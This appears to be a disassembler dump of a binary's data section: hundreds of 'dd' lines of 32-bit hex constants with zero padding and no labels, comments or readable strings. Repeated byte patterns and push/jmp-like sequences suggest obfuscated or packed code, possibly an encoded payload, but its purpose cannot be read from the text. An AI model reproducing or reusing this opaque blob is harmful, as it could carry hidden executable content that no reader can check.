		dd 69C204AEh, 989D9506h, 5526F7D4h, 70CE9A9Ah, 3FEF81B7h
		dd 58B6B282h, 2810CD7Dh, 3E0CEA48h, 8290A998h, 734453FDh
		dd 94D431C3h, 0FFBC66A6h, 0D4D73537h, 0B797B023h, 250060FFh
		dd 49486h, 155FDB00h, 761D26Bh,	0FB71C45Dh, 0EC7CB851h
		dd 0DF8DA942h, 9FEBD35h, 0FC953F2Dh, 0F28B353Bh, 0E7802A46h
		dd 8A701A5Ah, 985666F8h, 0FD632362h, 472D1476h,	44FDBA6Ah
		dd 0AC7DEF46h, 12A0FECFh, 2542A687h, 87FD1DA3h,	0C006F8BAh
		dd 0A65F2BE7h, 45224AEBh, 60F9A374h, 9222B4E1h,	1F2542C9h
		dd 5C09D6Eh, 0CB88383Ch, 0A1C33D69h, 0B46809CCh, 610F28E3h
		dd 9E282803h, 3B39087Ch, 34F7F991h, 0FB8614FFh,	0D8000003h
		dd 0FF75843h, 5FB44729h, 4559EBE5h, 56DABD2Dh, 0CF76D4A5h
		dd 97472D14h, 0B2105CDAh, 0A6B247D7h, 1B12542h,	0A629BD4Fh
		dd 9BA2542h, 6F1505ABh,	12F8A2D2h, 0A6DEEE80h, 0AB402542h
		dd 0C7E121AEh, 0E9EC4A1Eh, 98A05B38h, 0AC952ED8h, 341163DEh
		dd 0DBACC879h, 0FB4D2D0Ah, 0E75AF39Dh, 77881CAEh, 68192542h
		dd 0D2AE797h, 6F2A0563h, 0E700E6C8h, 42D59B9Dh,	0E9B8AF2h
		dd 0ABEA61F1h, 47F1C293h, 429AC1D9h, 551B1C25h,	0E6829878h
		dd 912DA436h, 0B5661F45h, 0E28A2342h, 0AA984DAh, 36Dh
		dd 44EE86B4h, 36E088ABh, 2AD4989Dh, 1BC5A391h, 0EB8B482h
		dd 54E2D996h, 62D56E18h, 6DCB640Eh, 81C05903h, 0D16349F3h
		dd 6299AF3Fh, 4FD63C23h, 97D1621Fh, 0C9C18039h,	4E1FFC78h
		dd 5CE5A07Dh, 0B30EDA56h, 724345DEh, 0B28E595h,	0F146FF5Dh
		dd 0B247D57Fh, 2C15A020h, 680DB548h, 0B182E64Eh, 0BF75C553h
		dd 67732542h, 0B62542AEh, 8212EF81h, 2542AE76h,	4C2413D0h
		dd 992DBF6Fh, 2A2542AEh, 6C4AA879h, 580ABADEh, 2A9865C3h
		dd 5FBD8C92h, 45D194D1h, 376271Fh, 0DAE268DEh, 0CA51F0CBh
		dd 11000002h, 8A14B29h,	0FA933D2Bh, 0EE87313Bh,	0DF782246h
		dd 0F36B1557h, 75F73F34h, 6B0532CBh, 601028C1h,	50241DB6h
		dd 9C2EC0A6h, 2362E608h, 14AC3399h, 0AF6A472Dh,	423CF892h
		dd 0ECA778F4h, 75462349h, 3DC7C7A4h, 0DA9AA7DDh, 3C169830h
		dd 632514FFh, 77000002h, 52A333C5h, 7F30DABDh, 0AB3F7A21h
		dd 8D2542A6h, 280563D0h, 0F840F957h, 280BC878h,	21B36340h
		dd 2542A68Dh, 99C6D1Eh,	9D603FAFh, 1AC2200Ch, 9B9B781h
		dd 0A582EA4Ch, 0E09B76D4h, 803B1858h, 20DBB8B8h, 79795616h
		dd 43432BEFh, 712E61B9h, 0A636C8C5h, 3325421Ah,	9A53B182h
		dd 9A28D29Eh, 0CB594405h, 89E7376Ah, 0FFC5DFD1h, 575E14h
		dd 1FB70000h, 3B99D362h, 0F9A9CF5Dh, 0A621B547h, 1B22542h
		dd 0F663F5A3h, 0BD1F45A0h, 0B01E990Ch, 2C07DAE2h, 1DC8Dh
		dd 5D172300h, 4F191AB3h, 43290CA5h, 34340099h, 2745F18Ah
		dd 5126057Dh, 44DD87E5h, 3AD37DF3h, 2FC872FEh, 0D2B86212h
		dd 0E61EAE40h, 45AB2362h, 8335C7BEh, 0A6AF3FD1h, 8B3C2542h
		dd 42A6EBFBh, 0E947F825h, 0A66DA93Bh, 6E032542h, 0B1358850h
		dd 3B3E9C26h, 0FCD997A0h, 0CD7D5A2Bh, 69462610h, 10E193AEh
		dd 313FF9B2h, 0F870C481h, 44EC4A1Bh, 1DE96ABh, 0BF690F21h
		dd 0B45E1226h, 714E261Bh, 3A3204C1h, 5C1423DCh,	0A83ACCB2h
		dd 25427014h, 5C17F4A5h, 26E393D9h, 58005E12h, 0EEB899Ah
		dd 0E08AE253h, 0CBA19552h, 680033EEh, 1FAB3997h, 0F9254270h
		dd 0DA90F164h, 0C523F48Ch, 833351E7h, 452004F1h, 36E6971Fh
		dd 6943AAA1h, 0CE099CD8h, 0F3A1FFA2h, 0BB6BFD36h, 0D43236FEh
		dd 0C8A0932Ch, 680830EBh, 1F67D08Bh, 0A97A5719h, 0F540FBD8h
		dd 0E2FEB48Dh, 3E64AB34h, 843F1CEDh, 19EABBB1h,	64CF8C3Ch
		dd 47942704h, 0E5CE2037h, 6442A071h, 7002B2D6h,	0E6A63551h
		dd 37022B7h, 796FD0CDh,	0F467181Bh, 0E0FFA973h,	0AE2AC9A4h
		dd 0F5000000h, 0EC852F45h, 0DE772147h, 0D26B1557h, 0C35C0662h
		dd 0D74FF973h, 59132318h, 4F2116AFh, 442C0CA5h,	3440019Ah
		dd 8012A48Ah, 2362E46Ch, 1490177Dh, 0AF6A472Dh,	505E292h
		dd 5CE59F7Bh, 2EE06E18h, 0C9A6C271h, 0A65468F8h, 0B4652542h
		dd 3C0C9E56h, 34F114FFh, 960A6800h, 3Eh, 0C87936E8h, 52881CACh
		dd 6819DABDh, 0BD5AE6D5h, 0BE1CD331h, 0D3621F17h, 1CAD3B99h
		dd 0F12542A6h, 0FD7A2450h, 20h,	53E29F51h, 0A6758919h
		dd 49DB2542h, 2542A6B5h, 0DF909546h, 0AB3FDA81h, 822542A6h
		dd 840BB5BFh, 258F7CDh,	0EA000000h, 4E261443h, 0E98BB671h
		dd 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh,	266CE89h
		dd 0A1CB6A25h, 3E2A09C4h, 89579C61h, 4C781E7h, 83000000h
		dd 3C8704EFh, 4895C24h,	0E0895024h, 405h, 42D00h, 4870000h
		dd 1C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 56240489h, 0AE120C68h, 0DEF75E10h, 710ECE81h, 0D6F71F2Ah
		dd 1C55BA52h, 4A427944h, 2AC6CA81h, 0E2817609h,	13F15A69h
		dd 1393F281h, 0EA817591h, 602BCA59h, 895AD631h,	8B545EF3h
		dd 0C4812404h, 4, 26BA5253h, 3118EF2Bh,	5A042454h, 8108408Fh
		dd 2B260870h, 48B18EFh,	0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 5B2434FFh, 4C481h, 0BE90000h, 9EFFFD3Ch
		dd 2042F2B8h, 8BC50306h, 20EBD1h, 7 dup(0)
		dd 0E9000000h, 567h, 55BE9h, 45766800h,	0CBE90620h, 68FFFD3Bh
		dd 6204631h, 0FD3BC1E9h, 47D068FFh, 0B7E90620h,	68FFFD3Bh
		dd 6204837h, 0FD3BADE9h, 452F0BFFh, 3731029Bh, 2B41F48Dh
		dd 1C4CE881h, 0F5DD972h, 390EED65h, 2CC56FFDh, 22BB650Bh
		dd 17B05A16h, 0BAA04A2Ah, 0E2069628h, 2D932362h, 0D1621FA6h
		dd 0B5803997h, 0BE4ADAB7h, 0C0A542A6h, 0FA1E436h, 2E94FF3Fh
		dd 3Bh,	0A6AA3F87h, 0C85E2542h,	0B5EFD8EAh, 0B244070Ah
		dd 25423022h, 5C2DFEAFh, 0F63DFAACh, 4D861472h,	521F22F2h
		dd 0AD3FF1A1h, 0DCA2F419h, 4E2B41F4h, 69C7787Dh, 2244C1h
		dd 3F9F0000h, 2542A6ABh, 0F9A9CF5Dh, 0A621B547h, 1B22542h
		dd 8643F5A3h, 0CD5BB9BBh, 1F226402h, 0B73EE899h, 9B4B2114h
		dd 0A64757E9h, 0A3542542h, 0C5DA6A45h, 1C48E808h, 0B9745117h
		dd 3A360288h, 0DEBB8C5Dh, 0A8C654DEh, 8BF921A5h, 0F5DD8AAh
		dd 0E6906132h, 0CEA69B58h, 0E3819270h, 7DC48133h, 0FF0B99F7h
		dd 4A542B6h, 56D2E274h,	2EDF5ABDh, 7CC5805Dh, 633A0A36h
		dd 26E1FF60h, 0B0815E12h, 0C1722FDFh, 9BF9CAA7h, 81E735F3h
		dd 466A3FD1h, 0B94E60BAh, 0D7470928h, 1114722Dh, 0E7F38360h
		dd 695CA068h, 97543BDFh, 8A1CCC9Ch, 5CA0687Ah, 0C078D687h
		dd 6D1DF62Eh, 634Dh, 59EFA600h,	81F98B3Bh, 121F22CAh, 4DF4B161h
		dd 9F70043Dh, 1BAB3DEFh, 0A8DC9D62h, 58F199F7h,	2A188BE9h
		dd 0BDAE60Ch, 3039130h,	9C9E0000h, 9E952ED8h, 0AE8720CAh
		dd 0B97B14BEh, 0CA6C05AFh, 0A380F8A2h, 58026ACCh, 4EF878BFh
		dd 43ED83B5h, 33DD97AAh, 9529BB4Dh, 262362E3h, 0CE3039C0h
		dd 8B000002h, 6E4B2114h, 344001BEh, 0A6B048D6h,	0E4962542h
		dd 42A64252h, 409E4F25h, 42A6A6B2h, 5907A025h, 0F911DABDh
		dd 5FDABD59h, 598B1BADh, 6718DABDh, 84E28AACh, 0BD59E2F6h
		dd 0AE8744DAh, 373103BEh, 59BF4BD9h, 0D3691ABDh, 0DF7305B5h
		dd 0B420B808h, 0A0965303h, 22656D0Ah, 0ECBDE392h, 5E03E0Fh
		dd 0C1711725h, 0A52AD62Fh, 7F25BA26h, 0D3A1A0A2h, 299225F6h
		dd 676AC8B1h, 0F4F43B6h, 1FFAA102h, 24880h, 1D57E300h
		dd 0F59DA73h, 369CC65h,	0F474C059h, 0E785B14Ah,	11E6C53Dh
		dd 49D4725h, 0FA933D33h, 0EF88323Eh, 92782252h,	0E05E6E00h
		dd 56B2362h, 0D3621F7Eh, 8DEBBC99h, 1A1D6DD4h, 0D7A87956h
		dd 680C1AFAh, 634126B8h, 3BD61F22h, 0C49572FAh,	85B049F3h
		dd 91A43DE7h, 81EFEDBh,	552ABC6Ch, 0E2E6FDDFh, 0AF80F047h
		dd 7AF642FFh, 0F206741Ch, 24D6FDDEh, 30C27216h,	0EC9D1B4Fh
		dd 0C68333E4h, 0C14FF97Bh, 0DB392F04h, 78551F22h, 0DD92A0E8h
		dd 640016C8h, 9E5002B4h, 0DD92F80Ch, 0C85809C8h, 0C8DD9234h
		dd 28B614C5h, 0F2BD50ABh, 0DD8F3FF0h, 0C3561620h, 0A83EF941h
		dd 78318F8Eh, 7301ABC9h, 889F2FC1h, 7B2CC23Ch, 19F676C0h
		dd 1031EA48h, 3CF7B464h, 0A3944F2Ch, 0F341FCCDh, 0AC3C1775h
		dd 0C23C886Ch, 78284CDAh, 3E2A09C6h, 4D8D52E0h,	6F0AF85Ch
		dd 24D4A5C7h, 0C3A0D067h, 700037F2h, 0B664C293h, 9D6A48F9h
		dd 3DD372B7h, 0D5F90D9Fh, 590AC41Fh, 0B646D888h, 43C41FD5h
		dd 7E17C192h, 24D4B1C3h, 419FD167h, 0FFAFD563h,	1F8B6E6Ah
		dd 0FBFFE3Ah, 1FD0697Dh, 6BC97AC4h, 0F0760BBDh,	528A9542h
		dd 1CB745A3h, 83FE7F7Ah, 5565F5D2h, 0DBFE7E7Ch,	32BCC951h
		dd 49CFC3E6h, 0Ch, 0A9AB3FA2h, 79E2542h, 0F9000000h, 42ACAB3Fh
		dd 59EF9425h, 32F98B3Bh, 0A91F2263h, 75462A0Eh,	2762B898h
		dd 9D1B0195h, 10E192DCh, 6AFCE60h, 8B3CE69Ah, 33F0E18h
		dd 9D3C17E1h, 0A9h, 0D47EF644h,	0C670F83Bh, 0BA64082Dh
		dd 0AB551321h, 9E482412h, 0C4724926h, 0D265FEA8h, 0DD5BF49Eh
		dd 0F150E993h, 61F3D983h, 62E13FCFh, 0DF66CC23h, 9BD5621Fh
		dd 0ABC95F3Dh, 638269FBh, 68191F22h, 189DAB8Bh,	9D1A7686h
		dd 3FD283DCh, 9B9E4FD9h, 25D5A65Ah, 9A969693h, 0D94CFDE6h
		dd 0E103D109h, 42D67550h, 0DD000000h, 0D46D175Dh, 0C65F095Fh
		dd 0BA53FD6Fh, 0AB44EE7Ah, 0BF37E18Bh, 412B0BE0h, 3739FE97h
		dd 2C44F48Dh, 1C58E982h, 68FA8C72h, 2362EE54h, 1F78FF65h
		dd 0A6CBDB6Dh, 27D82542h, 32CC9h, 5D870000h, 4E2614B6h
		dd 0E98BB671h, 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh
		dd 266CE89h, 0A1CB6A25h, 3E2A09C4h, 0EC839C61h,	24348904h
		dd 0C681E689h, 4, 8704EE83h, 575C2434h,	0C781E789h, 4
		dd 8704EF83h, 895C243Ch, 8952240Ch, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 243C895Ch, 20440968h, 240C8B06h, 4C481h
		dd 0DE680000h, 8900002Bh, 4832424h, 685F0424h, 439Bh, 81240C89h
		dd 5BBB2434h, 478F4E1Ah, 8778108h, 4E1A5BBBh, 56243C8Bh
		dd 0C681E689h, 4, 8704C683h, 8B5C2434h,	8956240Ch, 4C681E6h
		dd 83000000h, 348704C6h, 7BE95C24h, 39FFFD36h, 20489EB8h
		dd 8BC50306h, 0D9E9C8h,	1D200000h, 0C12C0FBEh, 0CFDF2F82h
		dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
		dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h
		dd 389382CDh, 3C000000h, 40000000h, 94000000h, 5000000h
		dd 1000000h, 28000000h,	200000Ah, 20h dup(0)
		dd 8A000000h, 0E97DC334h, 1F2Ah, 204C4A68h, 3584E906h
		dd 4668FFFDh, 0E906204Dh, 0FFFD357Ah, 204E1F68h, 3570E906h
		dd 0EB68FFFDh, 0E906204Eh, 0FFFD3566h, 204FBF68h, 355CE906h
		dd 9A68FFFDh, 0E9062050h, 0FFFD3552h, 20515368h, 3548E906h
		dd 468FFFDh, 0E9062052h, 0FFFD353Eh, 2055D468h,	3534E906h
		dd 3F68FFFDh, 0E9062056h, 0FFFD352Ah, 20575E68h, 3520E906h
		dd 0B268FFFDh, 0E906205Ah, 0FFFD3516h, 205DFE68h, 350CE906h
		dd 4668FFFDh, 0E9062061h, 0FFFD3502h, 2062AA68h, 34F8E906h
		dd 1868FFFDh, 0E9062063h, 0FFFD34EEh, 20638768h, 34E4E906h
		dd 0F368FFFDh, 0E9062063h, 0FFFD34DAh, 2064E668h, 34D0E906h
		dd 2068FFFDh, 0E9062066h, 0FFFD34C6h, 2066FF68h, 34BCE906h
		dd 201AFFFDh, 2211AA54h, 32039C46h, 3DF7903Ah, 4EE8812Bh
		dd 3FFC741Eh, 0D47EEE48h, 0CA74FC3Bh, 0BF690731h, 0AF591B26h
		dd 11A537C9h, 0A22362ECh, 2D14B53Ch, 92AF6A47h,	0EDAA38E2h
		dd 4193264Ah, 15961E00h, 0D76543A1h, 0C26F01B1h, 0D11F4515h
		dd 80B37020h, 0DC3A0BE8h, 28597101h, 55E7DCA1h,	51E29C98h
		dd 98693A17h, 986943Ah,	2381E74Ch, 1CB6416Bh, 3301BEEDh
		dd 29875835h, 25B5h, 59EF0E00h,	80F98B3Bh, 131F45A5h, 0E5F58562h
		dd 6BDCA059h, 50181CD9h, 0B7CE4CF2h, 0ED1DC335h, 0ED44h
		dd 2D149D00h, 0A6C6D668h, 22D32542h, 7DB97451h,	0EA5712EFh
		dd 0A68519ABh, 65162542h, 45FCB794h, 5DEA7F2Fh,	37B93225h
		dd 24923A98h, 25426BDBh, 2DDD97AAh, 48A6C670h, 3A3A07A0h
		dd 0C9AF7D5Dh, 79EA8719h, 4EE91F45h, 0D5A683E5h, 7FBF5404h
		dd 9EC908FCh, 704D271Ah, 0C870CE9Fh, 0A8583C0Ah, 70FC39F6h
		dd 17398412h, 520FE6ABh, 0D8A986E2h, 5BDC777Ah,	8F60082Bh
		dd 2B0860D4h, 27D9895Ah, 81170195h, 26E192D6h, 50FE5C10h
		dd 3653E19Eh, 811710A4h, 1FF0A1D6h, 5A137142h, 4DE690DCh
		dd 0D91083E9h, 0CAE1022Ch, 1C6750EFh, 70CA0000h, 72C15A04h
		dd 82B34CF6h, 8DA740EAh, 9E9831DBh, 0CFAC24CEh,	842E3EF8h
		dd 7A244CEBh, 6F1957E1h, 5F096BD6h, 4155E779h, 522362EAh
		dd 221465ECh, 5512A04Ah, 0DCAD8ADEh, 0F87CC57Eh, 59EFC74Eh
		dd 69CE8B3Bh, 7653191Dh, 26F7D4A5h, 11881AC8h, 0A21F45A5h
		dd 748414F1h, 0FADCA059h, 0D1DBAA70h, 2EED1DC3h, 55DAEA7Ch
		dd 36E7DCA0h, 0C864D8h,	14BD0000h, 0AF6A472Dh, 7808E587h
		dd 2542A22Fh, 0EC4743FEh, 13CE9F7Ch, 9B6C4923h,	0D59220CAh
		dd 0F7B00E62h, 0BD7A2A4Ah, 4617F478h, 1F2D0DE8h, 3A37C979h
		dd 0EEE0BA40h, 5EC8A559h, 0E4B592D6h, 0E6803B51h, 2AD48588h
		dd 66D0DE6Ch, 87582906h, 0B3E945D7h, 0B96AE6AAh, 81E74C09h
		dd 0C775D3A4h, 9DE88015h, 38A51591h, 951521DAh,	0E7DEC685h
		dd 2B99D0E2h, 0D3116C82h, 0EE873102h, 74B12448h, 35E1023Dh
		dd 1B6BBB5Ah, 6CCE0000h, 6EC55E08h, 7EB750FAh, 89AB44EEh
		dd 9A9C35DFh, 0F3B028D2h, 88323AFCh, 7E2848EFh,	731D53E5h
		dd 630D67DAh, 4559EB7Dh, 562362EBh, 221469F0h, 3A07A04Ah
		dd 4502903Ah, 0CC9D7AEEh, 2D14C76Eh, 0E38DAB68h, 11A53506h
		dd 0A22542A6h, 922E5EF1h, 95467C17h, 7A37E7C4h,	9A53B1BBh
		dd 7E23CDA7h, 51370575h, 719E0FA1h, 0BA2D1F45h,	370FA77Eh
		dd 6111E2DCh, 2B45F2AFh, 0D9ED7D4Eh, 34DCA15Ah,	0BE8F6C04h
		dd 59AA08B9h, 5B8531CDh, 0DD5A1770h, 97EFB8D1h,	58290F00h
		dd 74D2969Dh, 34E48096h, 102833A2h, 4FE58022h, 8B6B4819h
		dd 9527D7BDh, 287D408Ah, 0F3B06011h, 6F053C4Eh,	0BC50E292h
		dd 4D1459F7h, 50FACB9Ch, 77EA8AB7h, 0A3AA8D64h,	927B1AF5h
		dd 0F500001Ah, 0EC852F45h, 0DE772147h, 0D26B1557h, 0C35C0662h
		dd 0D74FF973h, 59132318h, 4F2116AFh, 442C0CA5h,	3440019Ah
		dd 8012A48Ah, 2362E86Ch, 1490177Dh, 8A6A472Dh, 9628D8BCh
		dd 1F45B74Fh, 650331CCh, 3CE6B788h, 14224897h, 0FF2EC070h
		dd 4CE6A77Bh, 0EA9C489Bh, 87134458h, 79BA55D6h,	704112EFh
		dd 0DDF78412h, 0A7591374h, 56F08115h, 0F0821209h, 956F0DCh
		dd 0D6B3CEDh, 0A9C192Fh, 956F0FAh, 0D5855607h, 51E09243h
		dd 7FB97633h, 0E54314F1h, 745431E2h, 0B69D8A6h,	0DC8C5D2Eh
		dd 0B288314Ah, 82BC63Ah, 0ACDFEF81h, 3BEC3A98h,	2CE9996Ah
		dd 27B55F15h, 34B14B92h, 5DBB2190h, 64D79DA4h, 0B4EB2B4Bh
		dd 0C6C2613Ch, 29000019h, 20B96311h, 12AB5513h,	69F4923h
		dd 0F7903A2Eh, 0B832D3Fh, 8DDF572Ch, 83ED4AE3h,	78F840D9h
		dd 680C35CEh, 0B446D8BEh, 2362E820h, 14C44BB1h,	0BA6A472Dh
		dd 30C45608h, 0C12542A6h, 0A66C8010h, 6DC72542h, 484D1EFBh
		dd 0CD5B3997h, 6C65F7A7h, 271F45ADh, 0EF27CC76h, 5D0D6BC1h
		dd 0A74E5ACBh, 0E538E9E6h, 5E87FF59h, 1573C95Ah, 3FF6B365h
		dd 5DD4B26Bh, 0DAABE822h, 0EFFEE7Ch, 3CCC4858h,	42001AAAh
		dd 2844F174h, 0C4757A4Bh, 0A96616F3h, 0A583E18Fh, 0AC41F197h
		dd 20BDB494h, 1DCB2930h, 458BF08Bh, 0A656074Eh,	0AA5262F4h
		dd 0AE5F6FA1h, 5CE5A250h, 8DAB6818h, 987306E3h,	26C57793h
		dd 953D9B6Ch, 0BC2F45FCh, 89E1E49Dh, 0F28423FEh, 55000018h
		dd 4CE58FE5h, 3ED781E7h, 32CB75F7h, 23BC6602h, 37AF5913h
		dd 0B9B38378h, 0AFC1760Fh, 0A4CC6C05h, 94E061FAh, 0E07204EAh
		dd 2362E9CCh, 1FF077DDh, 85AFD362h, 643506E3h, 80F44D06h
		dd 0F75C3A3h, 0BD90CD5Fh, 72231F45h, 0B9EF23C8h, 0C3550563h
		dd 0E6A77D52h, 0A09451E1h, 1CA438C8h, 0F88AD687h, 0D6871CE4h
		dd 8E3F44F5h, 23194CFBh, 36073C0Ah, 26EC986h, 0A5F65425h
		dd 402FA719h, 6D0B2139h, 71BA2BBDh, 5809E9C7h, 2048EBA8h
		dd 0A237E7C2h, 0D761EC1Ch, 0A1DAB829h, 3AD917B3h, 9727B969h
		dd 24D5274Eh, 0E1371573h, 8C21D383h, 987B9512h,	4DDB39F3h
		dd 0EF204F32h, 0AB6818C9h, 2A42F496h, 8C21AF59h, 452DF944h
		dd 0D992F039h, 74990C68h, 0F5EA7CDFh, 18177B1Ah, 0C07A0000h
		dd 0C2710AB4h, 0D263FCA6h, 0DD57F09Ah, 0EE48E18Bh, 9F5CD47Eh
		dd 34DE8EA8h, 2AD49C9Bh, 1FC9A791h, 0FB9BB86h, 0F1059729h
		dd 22362F6h, 2D14159Ch,	0BC8A6A47h, 0B9628D8h, 881F45BFh
		dd 7F882DD7h, 0BAAE8643h, 0CA5C0CDDh, 0DCA0713Ah, 0DAB816C7h
		dd 0E678284Ch, 0E6A77CB7h, 54005304h, 0DAACB5BFh, 1371A6DEh
		dd 3E30B485h, 7BFF9447h, 3FCB04E3h, 7CCAA806h, 0E7D66818h
		dd 940B986h, 0C883E94Ch, 52230070h, 6340F1F4h, 1FCFB583h
		dd 9AD3F28Dh, 0C9C95E46h, 0BFB2C202h, 300F0A9Dh, 6A56E780h
		dd 0A858090Ch, 741E56EBh, 9B0E66DBh, 81047320h,	5E8F2E09h
		dd 0C1000017h, 0B851FB79h, 0AA43ED7Bh, 9E37E18Bh, 8F28D296h
		dd 0A31BC5A7h, 2547EFC4h, 1B55E27Bh, 1060D871h,	74CD66h
		dd 4CDE7056h, 2362F7B8h, 145CE349h, 0BA6A472Dh,	0D63438FDh
		dd 964622F8h, 0A64252E4h, 0B44F2542h, 0B816E78Dh, 5DE7780Ah
		dd 4BFC1F22h, 1163DE9Bh, 1015F967h, 1EDBDC9Dh, 18F65418h
		dd 22BB6503h, 0D0E4761Fh, 53DC9D10h, 6FBF60E0h,	24D5DAC4h
		dd 52E6A353h, 0D219AD3Fh, 0F9AADC9Dh, 6422CA28h, 7002B2D6h
		dd 0E6FD29DFh, 92DE59F4h, 0DF5411C1h, 191CD989h, 47A57653h
		dd 3B2D069Fh, 0D69EA35Eh, 6AEE263h, 0DD7C57E1h,	16ADh
		dd 0A04A2A10h, 923C2C07h, 86303CF9h, 772147EDh,	6A1458DEh
		dd 0F83E35F2h
		dd 631CA74h, 1127C06Ah,	251CB55Fh, 2DBFA54Fh, 62F40B9Bh
		dd 0AB329823h, 8B3B59EFh, 225D66F9h, 0EB0A7D1Fh, 0CDEFA4DFh
		dd 0DC99491Ah, 0A7650F65h, 412B0A90h, 12C29364h, 9DDB1880h
		dd 0FBD889DCh, 9DDB5E6Bh, 0C258E2DCh, 204529C3h, 7650EDh
		dd 0F0A20000h, 9DD34E5Eh, 4CAA5BDCh, 3C58EFA5h,	464CF8Ch
		dd 4AF85627h, 4054E698h, 512542A6h, 0A69F2FC1h,	7B2C2542h
		dd 52BE4CAAh, 0BF2542A6h, 9A1310Eh, 172542A6h, 0F6F88D8Dh
		dd 8514FF38h, 34h, 0A6AA3FDEh, 0D18E2542h, 4E261B63h, 14CFA071h
		dd 9A6B4820h, 0ACC85E3Ch, 85B54AFCh, 0BB8ADE26h, 0D049D735h
		dd 631F4515h, 0E57A08B2h, 0C6ADD7D6h, 6A116F02h, 8B3B59EFh
		dd 45AA14F9h, 0AF47DC1Fh, 0EEE1D896h, 258B1BADh, 6718DCA0h
		dd 84353896h, 1F55ECA7h, 0E682B26Fh, 32DA3809h,	56E2A899h
		dd 9B6C3D1Ah, 393303BEh, 515995Ch, 8B2C27Fh, 0C5A2D26Fh
		dd 0C05257E5h, 0DCA0252Ch, 8B3B0CBDh, 6A1C1CD9h, 0F1CE9FC9h
		dd 0DD34C220h, 36E6A743h, 9123D585h, 0D687FB7Dh, 0D77FDD8Eh
		dd 9471033Eh, 0F4629B04h, 19D662BEh, 1EBC4F1Dh,	5E9D67E7h
		dd 0EA30D634h, 23CDA79Ah, 0E0BDB78Ah, 7C590F25h, 18F573C1h
		dd 0B996DA5Dh, 83EB2FB9h, 0FD92882Ch, 8A66E668h, 0CCBCE4F8h
		dd 0B144F55Eh, 0B245AADCh, 95EFB88Eh, 25DE3CB8h, 15AE581Ch
		dd 0C7D7692Ch, 0D45ECC5Fh, 95755223h, 9F31E187h, 64CB53F6h
		dd 3CCA7425h, 0ABB7E4A7h, 15FFFF2h, 9E7BF948h, 33254E3h
		dd 0BB9869h, 9E593636h,	31F4D1A3h, 3E016DADh, 1D2460BAh
		dd 0D7D6E678h, 32E35033h, 231EB761h, 86947451h,	0C9A032E2h
		dd 5A6A34D1h, 0DB66FFA9h, 9C2CBC99h, 6F5A16CCh,	0DC8A5C7h
		dd 93D95C2Ah, 0EA8EE5C2h, 0B73B3E30h, 6A202163h, 0F5C6A3CDh
		dd 9673FD3Ah, 0B14AF4C5h, 7337FF87h, 61FCB013h,	4A1BECD2h
		dd 0E884B26Dh, 99F1500Bh, 2401D29Eh, 0C19ECA69h, 5C393B06h
		dd 0E832DA8Bh, 1EFC8686h, 5F2BDC71h, 3088EF14h,	0B6876404h
		dd 6ACE87E5h, 75C35C06h, 7994BFBh, 7A16D9F7h, 0A582E64Eh
		dd 0C01ECFD4h, 5E0A2AE5h, 2A46F1AEh, 0C6A2924Dh, 0F9BC97F5h
		dd 59DFA575h, 2DDF6D17h, 0C6A3D170h, 0D95165F5h, 0D2627A16h
		dd 16D9AC40h, 0BB8C3D7Ah, 1A94A45Dh, 0EFDE0E91h, 19C99ACBh
		dd 0EA372184h, 359334FCh, 0C8AC7A5Ah, 90D85B18h, 13F28432h
		dd 80401191h, 0A37F2CFh, 64D28D6Ah, 0C3702B08h,	70AA4EA5h
		dd 1703A7FEh, 0CAE3CB6Dh, 0A92B85C5h, 922BD5A6h, 5815C5AFh
		dd 0E0B18EDEh, 0FA581C25h, 61DA6F1Fh, 2A62E34h,	0C77A3391h
		dd 46D0D0ADh, 0E391B0D4h, 0C1BD7633h, 4819F672h, 0A135C777h
		dd 327C7534h, 0ED7B2381h, 10A20430h, 0E526DB3h,	14CC2AFBh
		dd 4DC89E9Ah, 28A1h, 2414FA00h,	0B98F6F4Ch, 4A2745F1h
		dd 63F8A879h, 7BD1A8EEh, 73F93C99h, 49644A2h, 1F459B75h
		dd 0A623CD7Eh, 38h, 8A241401h, 71E5A028h, 0D3611C96h, 16E7B895h
		dd 0A5C35939h, 85FD38F5h, 0FECBDB3h, 0D87A2F7Ch, 0EFC0352Dh
		dd 2451E391h, 0B71F457Fh, 0A9C15606h, 864D2EDh,	7E05AD0Bh
		dd 8593FF08h, 0C07D2FDFh, 896F474h, 1F45AB95h, 96227526h
		dd 28514A06h, 560662B8h, 6A7811C4h, 14F1A21Ah, 0D282E634h
		dd 57702740h, 5B0BBCE0h, 2147ECA9h, 0BDAB8944h,	0E03E0FE0h
		dd 0B05A1A27h, 0D6602A17h, 17E8B996h, 0D0571DA4h, 8423FEDBh
		dd 12DDh, 0D07AFA40h, 0C26CFC37h, 0B6600C29h, 0A751171Dh
		dd 9A44280Eh, 0C86E4522h, 0D661FAA4h, 0E157F09Ah, 0F54CE58Fh
		dd 5DEFD57Fh, 62F33BCBh, 0DB62C823h, 0AADE8A1Fh, 0ED9272AFh
		dd 0F2502147h, 42C35064h, 3DF9B625h, 2381522Fh,	0E191F745h
		dd 45F2324Fh, 6010C11Fh, 31DB95A3h, 0F3D0A098h,	0F86B0938h
		dd 0DAE282ABh, 7292310Ch, 0D5000012h, 0CC650F65h, 0BE570167h
		dd 0B24BF577h, 0A33CE682h, 0B72FD993h, 393303F8h, 2F41F68Fh
		dd 244CEC85h, 1460E17Ah, 60F2846Ah, 2362F04Ch, 0EF70F75Dh
		dd 0D98B3B59h, 0F7551B1Ch, 4597D869h, 7A2ADB1Fh, 3F290BC8h
		dd 5D0B28E1h, 0E79025B3h, 4B1B4801h, 141FD836h,	85BC7754h
		dd 5D3A2E05h, 4E0BBB8Ch, 0CE94C3E7h, 4D5CE4FBh,	0F775C17Ch
		dd 0BB67BE99h, 6C122326h, 0DD3B1390h, 0FAACE337h, 0A0C15468h
		dd 56B465DCh, 28D2969Dh, 0BE535983h, 19A444DBh,	33C355E8h
		dd 0C0DCA029h, 2E03E0Fh, 47FE5133h, 0EF9F7CECh,	89660232h
		dd 3DCC5AB8h, 10DCA029h, 0AD684523h, 5203E094h,	90FE70AAh
		dd 78FC4502h, 0C66CCA9Bh, 65033054h, 5D7103B5h,	6EDCA029h
